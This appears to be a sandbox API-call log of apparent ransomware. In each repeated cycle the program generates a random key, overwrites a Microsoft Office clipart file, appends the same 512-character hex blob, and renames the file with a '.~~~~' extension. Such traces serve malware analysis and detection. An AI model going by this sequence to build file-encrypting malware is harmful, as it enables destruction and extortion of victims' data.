	[0089.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f7b8
	[0089.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f7b8 | out: hHeap=0x300000) returned 1
	[0089.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37da40
	[0089.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.688] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.688] GetLastError () returned 0x0
	[0089.688] GetLastError () returned 0x0
	[0089.688] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.688] GetLastError () returned 0x0
	[0089.688] GetLastError () returned 0x0
	[0089.690] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffcd4a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.690] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x32b6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x32b6, lpOverlapped=0x0) returned 1
	[0089.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.691] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.691] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.691] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.691] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.691] CloseHandle (hObject=0x11c) returned 1
	[0089.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.691] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.~~~~")) returned 1
	[0089.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.692] GetLastError () returned 0x0
	[0089.692] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.693] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.693] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.694] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20968380916) returned 1
	[0089.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f3e3430, dwHighDateTime=0x1d60e1e)) 
	[0089.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f7f0
	[0089.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f7f0 | out: hHeap=0x300000) returned 1
	[0089.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37dad8
	[0089.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.694] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.695] GetLastError () returned 0x0
	[0089.695] GetLastError () returned 0x0
	[0089.695] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.695] GetLastError () returned 0x0
	[0089.695] GetLastError () returned 0x0
	[0089.697] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffda12, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.697] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x25ee, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x25ee, lpOverlapped=0x0) returned 1
	[0089.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.697] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.698] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.698] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.698] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.698] CloseHandle (hObject=0x11c) returned 1
	[0089.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.698] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.~~~~")) returned 1
	[0089.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.699] GetLastError () returned 0x0
	[0089.699] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.700] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.700] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.700] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20968995841) returned 1
	[0089.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f3e3430, dwHighDateTime=0x1d60e1e)) 
	[0089.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f828
	[0089.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f828 | out: hHeap=0x300000) returned 1
	[0089.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37db70
	[0089.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.700] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.700] GetLastError () returned 0x0
	[0089.701] GetLastError () returned 0x0
	[0089.701] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.701] GetLastError () returned 0x0
	[0089.701] GetLastError () returned 0x0
	[0089.703] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffddbc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.703] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2244, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x2244, lpOverlapped=0x0) returned 1
	[0089.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.703] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.703] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.703] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.703] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.703] CloseHandle (hObject=0x11c) returned 1
	[0089.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acc50
	[0089.704] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.~~~~")) returned 1
	[0089.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acc50 | out: hHeap=0x300000) returned 1
	[0089.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.704] GetLastError () returned 0x0
	[0089.705] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.706] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.706] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.706] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20969586241) returned 1
	[0089.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f3e3430, dwHighDateTime=0x1d60e1e)) 
	[0089.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f860
	[0089.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f860 | out: hHeap=0x300000) returned 1
	[0089.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acc50
	[0089.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37dc08
	[0089.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acc50 | out: hHeap=0x300000) returned 1
	[0089.706] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.706] GetLastError () returned 0x0
	[0089.707] GetLastError () returned 0x0
	[0089.707] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.707] GetLastError () returned 0x0
	[0089.707] GetLastError () returned 0x0
	[0089.875] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc76a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.875] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x3896, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x3896, lpOverlapped=0x0) returned 1
	[0089.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.875] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.876] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.876] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.876] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.876] CloseHandle (hObject=0x11c) returned 1
	[0089.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.876] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.~~~~")) returned 1
	[0089.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.877] GetLastError () returned 0x0
	[0089.877] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.878] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.878] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0089.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0089.878] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20986818322) returned 1
	[0089.878] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f586350, dwHighDateTime=0x1d60e1e)) 
	[0089.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0089.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0089.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0089.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fa20
	[0089.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fa20 | out: hHeap=0x300000) returned 1
	[0089.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.878] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37dca0
	[0089.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.879] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0089.879] GetLastError () returned 0x0
	[0089.879] GetLastError () returned 0x0
	[0089.879] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0089.879] GetLastError () returned 0x0
	[0089.879] GetLastError () returned 0x0
	[0089.886] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd85e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.886] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x27a2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x27a2, lpOverlapped=0x0) returned 1
	[0089.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0089.890] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.890] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.890] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.890] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.890] CloseHandle (hObject=0x11c) returned 1
	[0089.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.890] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.~~~~")) returned 1
	[0089.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0089.891] GetLastError () returned 0x0
	[0089.891] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0089.892] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.892] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
